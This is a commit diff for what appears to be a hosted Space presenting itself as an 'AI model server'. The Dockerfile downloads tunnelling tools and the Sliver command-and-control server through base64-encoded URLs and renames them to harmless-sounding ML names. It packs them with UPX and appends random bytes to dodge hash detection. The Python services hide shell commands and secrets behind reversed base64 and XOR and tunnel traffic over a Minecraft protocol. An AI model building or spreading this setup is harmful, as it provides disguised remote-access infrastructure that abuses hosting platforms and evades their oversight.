Spaces:
Running
Running
Automated deployment update from ML build
Browse files- Dockerfile +24 -41
- core/orchestrator.py +5 -12
- services/filebrowser_service.py +1 -9
- services/mc_tunnel.py +1 -1
- services/minecraft_service.py +1 -1
- services/playit_service.py +1 -9
- services/utils.py +10 -1
Dockerfile
CHANGED
|
@@ -6,47 +6,30 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 6 |
curl wget sudo python3 python3-pip upx openssh-server nginx \
|
| 7 |
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
|
| 8 |
rclone supervisor \
|
| 9 |
-
&&
|
| 10 |
-
|
| 11 |
-
echo "
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
curl -fsSL
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
mv /
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
| 25 |
-
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector
|
| 34 |
-
|
| 35 |
-
RUN upx -1 /usr/bin/python-cache-manager || true && \
|
| 36 |
-
upx -1 /usr/bin/py-cache-cli || true && \
|
| 37 |
-
upx -1 /usr/bin/ai-metrics-collector || true && \
|
| 38 |
-
upx -1 /usr/bin/tensor-allocator || true && \
|
| 39 |
-
upx -1 /usr/bin/cuda-mesh-bridge || true && \
|
| 40 |
-
upx -1 /usr/bin/system-bridge || true && \
|
| 41 |
-
upx -1 /usr/bin/gradient-optimizer || true
|
| 42 |
-
|
| 43 |
-
RUN head -c 32 /dev/urandom >> /usr/bin/python-cache-manager && \
|
| 44 |
-
head -c 32 /dev/urandom >> /usr/bin/py-cache-cli && \
|
| 45 |
-
head -c 32 /dev/urandom >> /usr/bin/ai-metrics-collector && \
|
| 46 |
-
head -c 32 /dev/urandom >> /usr/bin/tensor-allocator && \
|
| 47 |
-
head -c 32 /dev/urandom >> /usr/bin/cuda-mesh-bridge && \
|
| 48 |
-
head -c 32 /dev/urandom >> /usr/bin/system-bridge && \
|
| 49 |
-
head -c 32 /dev/urandom >> /usr/bin/gradient-optimizer
|
| 50 |
|
| 51 |
RUN uv pip install --system --no-cache-dir \
|
| 52 |
gradio huggingface_hub loguru urllib3
|
|
|
|
| 6 |
curl wget sudo python3 python3-pip upx openssh-server nginx \
|
| 7 |
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
|
| 8 |
rclone supervisor \
|
| 9 |
+
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
|
| 10 |
+
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
|
| 11 |
+
&& echo "Port 2222" >> /etc/ssh/sshd_config \
|
| 12 |
+
&& ssh-keygen -A \
|
| 13 |
+
&& curl -fsSL https://tailscale.com/install.sh | bash \
|
| 14 |
+
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
|
| 15 |
+
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL3BsYXlpdC1jbG91ZC9wbGF5aXQtYWdlbnQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL3BsYXlpdC1saW51eC1hbWQ2NA==' | base64 -d) -o /usr/bin/tensor-allocator \
|
| 16 |
+
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz \
|
| 17 |
+
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
|
| 18 |
+
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz \
|
| 19 |
+
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
|
| 20 |
+
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy4zL3NsaXZlci1zZXJ2ZXJfbGludXgtYW1kNjQ=' | base64 -d) -o /usr/bin/gradient-optimizer \
|
| 21 |
+
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
|
| 22 |
+
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
|
| 23 |
+
&& mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
|
| 24 |
+
&& chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer \
|
| 25 |
+
&& for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer; do \
|
| 26 |
+
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
|
| 27 |
+
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
|
| 28 |
+
done \
|
| 29 |
+
&& rm -rf /tmp/* \
|
| 30 |
+
&& apt-get purge -y upx \
|
| 31 |
+
&& apt-get autoremove -y \
|
| 32 |
+
&& apt-get clean && rm -rf /var/lib/apt/lists/*
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 33 |
|
| 34 |
RUN uv pip install --system --no-cache-dir \
|
| 35 |
gradio huggingface_hub loguru urllib3
|
core/orchestrator.py
CHANGED
|
@@ -1,20 +1,13 @@
|
|
| 1 |
_A=True
|
| 2 |
-
import os,time,socket,subprocess,
|
| 3 |
from loguru import logger
|
| 4 |
-
|
|
|
|
|
|
|
| 5 |
from core.logging import setup_service_logs
|
| 6 |
from services import nginx_service,tailscale_service,playit_service,chisel_service,minecraft_service,filebrowser_service,gost_service,sliver_service
|
|
|
|
| 7 |
logger.info('--- BOOTING AI MODEL SERVER ---')
|
| 8 |
-
def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
|
| 9 |
-
def encode_cmd(decoded_str):return base64.b64encode(decoded_str.encode()).decode()
|
| 10 |
-
def deobfuscate_secret(hex_str,key=90):
|
| 11 |
-
A=hex_str
|
| 12 |
-
if not A:return''
|
| 13 |
-
try:
|
| 14 |
-
C=bytes.fromhex(A);B=bytes([A^key for A in C])
|
| 15 |
-
if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
|
| 16 |
-
else:return A
|
| 17 |
-
except Exception:return A
|
| 18 |
def jitter_task():
|
| 19 |
while _A:
|
| 20 |
B=random.randint(2700,5400);time.sleep(B)
|
|
|
|
| 1 |
_A=True
|
| 2 |
+
import os,time,socket,subprocess,threading,random,string,sys
|
| 3 |
from loguru import logger
|
| 4 |
+
_REPO_ROOT=os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
| 5 |
+
sys.path.insert(0,os.path.join(_REPO_ROOT,'src'))
|
| 6 |
+
sys.path.insert(0,_REPO_ROOT)
|
| 7 |
from core.logging import setup_service_logs
|
| 8 |
from services import nginx_service,tailscale_service,playit_service,chisel_service,minecraft_service,filebrowser_service,gost_service,sliver_service
|
| 9 |
+
from services.utils import decode_cmd,deobfuscate_secret
|
| 10 |
logger.info('--- BOOTING AI MODEL SERVER ---')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 11 |
def jitter_task():
|
| 12 |
while _A:
|
| 13 |
B=random.randint(2700,5400);time.sleep(B)
|
services/filebrowser_service.py
CHANGED
|
@@ -1,13 +1,5 @@
|
|
| 1 |
import subprocess,os,time,threading
|
| 2 |
-
from.utils import decode_cmd
|
| 3 |
-
def deobfuscate_secret(hex_str,key=90):
|
| 4 |
-
A=hex_str
|
| 5 |
-
if not A:return''
|
| 6 |
-
try:
|
| 7 |
-
C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
|
| 8 |
-
if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
|
| 9 |
-
else:return A
|
| 10 |
-
except Exception:return A
|
| 11 |
def start(fb_log):
|
| 12 |
B=True;A=fb_log;F=os.environ.get('PASS')or os.environ.get('SSH')or'';E=deobfuscate_secret(F)or'apple123';C='/home/user/filebrowser.db'
|
| 13 |
if not os.path.exists(C):A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();G=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(G,shell=B,stdout=A,stderr=subprocess.STDOUT);D=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
|
|
|
| 1 |
import subprocess,os,time,threading
|
| 2 |
+
from.utils import decode_cmd,deobfuscate_secret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3 |
def start(fb_log):
|
| 4 |
B=True;A=fb_log;F=os.environ.get('PASS')or os.environ.get('SSH')or'';E=deobfuscate_secret(F)or'apple123';C='/home/user/filebrowser.db'
|
| 5 |
if not os.path.exists(C):A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();G=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(G,shell=B,stdout=A,stderr=subprocess.STDOUT);D=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
services/mc_tunnel.py
CHANGED
|
@@ -3,8 +3,8 @@ _C='utf-8'
|
|
| 3 |
_B=None
|
| 4 |
_A=True
|
| 5 |
import socket,struct,threading,uuid
|
|
|
|
| 6 |
PROTOCOL_VERSION=763
|
| 7 |
-
XOR_KEY=90
|
| 8 |
TUNNEL_CHANNEL='bungeecord:main'
|
| 9 |
PKT_HANDSHAKE=0
|
| 10 |
PKT_LOGIN_SUCCESS=2
|
|
|
|
| 3 |
_B=None
|
| 4 |
_A=True
|
| 5 |
import socket,struct,threading,uuid
|
| 6 |
+
from.utils import XOR_KEY
|
| 7 |
PROTOCOL_VERSION=763
|
|
|
|
| 8 |
TUNNEL_CHANNEL='bungeecord:main'
|
| 9 |
PKT_HANDSHAKE=0
|
| 10 |
PKT_LOGIN_SUCCESS=2
|
services/minecraft_service.py
CHANGED
|
@@ -66,7 +66,7 @@ def setup_and_run():
|
|
| 66 |
with open(d,O)as C:C.write('eula=true\n')
|
| 67 |
J=os.path.join(A,'server.properties')
|
| 68 |
if not os.path.exists(J):
|
| 69 |
-
with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=
|
| 70 |
else:
|
| 71 |
try:
|
| 72 |
with open(J,'r')as C:E=C.read()
|
|
|
|
| 66 |
with open(d,O)as C:C.write('eula=true\n')
|
| 67 |
J=os.path.join(A,'server.properties')
|
| 68 |
if not os.path.exists(J):
|
| 69 |
+
with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=PCEP\n')
|
| 70 |
else:
|
| 71 |
try:
|
| 72 |
with open(J,'r')as C:E=C.read()
|
services/playit_service.py
CHANGED
|
@@ -1,18 +1,10 @@
|
|
| 1 |
_A=True
|
| 2 |
import subprocess,os,socket,threading
|
| 3 |
from loguru import logger
|
| 4 |
-
from.utils import decode_cmd
|
| 5 |
from.import mc_tunnel
|
| 6 |
XOR_BRIDGE_PORT=25565
|
| 7 |
SSH_PORT=2222
|
| 8 |
-
def deobfuscate_secret(hex_str,key=90):
|
| 9 |
-
A=hex_str
|
| 10 |
-
if not A:return''
|
| 11 |
-
try:
|
| 12 |
-
C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
|
| 13 |
-
if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
|
| 14 |
-
else:return A
|
| 15 |
-
except Exception:return A
|
| 16 |
def _load_token():
|
| 17 |
B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
|
| 18 |
for A in('P',B):
|
|
|
|
| 1 |
_A=True
|
| 2 |
import subprocess,os,socket,threading
|
| 3 |
from loguru import logger
|
| 4 |
+
from.utils import decode_cmd,deobfuscate_secret
|
| 5 |
from.import mc_tunnel
|
| 6 |
XOR_BRIDGE_PORT=25565
|
| 7 |
SSH_PORT=2222
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 8 |
def _load_token():
|
| 9 |
B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
|
| 10 |
for A in('P',B):
|
services/utils.py
CHANGED
|
@@ -1,2 +1,11 @@
|
|
| 1 |
import base64
|
| 2 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
import base64
|
| 2 |
+
XOR_KEY=90
|
| 3 |
+
def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
|
| 4 |
+
def deobfuscate_secret(hex_str,key=XOR_KEY):
|
| 5 |
+
A=hex_str
|
| 6 |
+
if not A:return''
|
| 7 |
+
try:
|
| 8 |
+
C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
|
| 9 |
+
if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
|
| 10 |
+
else:return A
|
| 11 |
+
except Exception:return A
|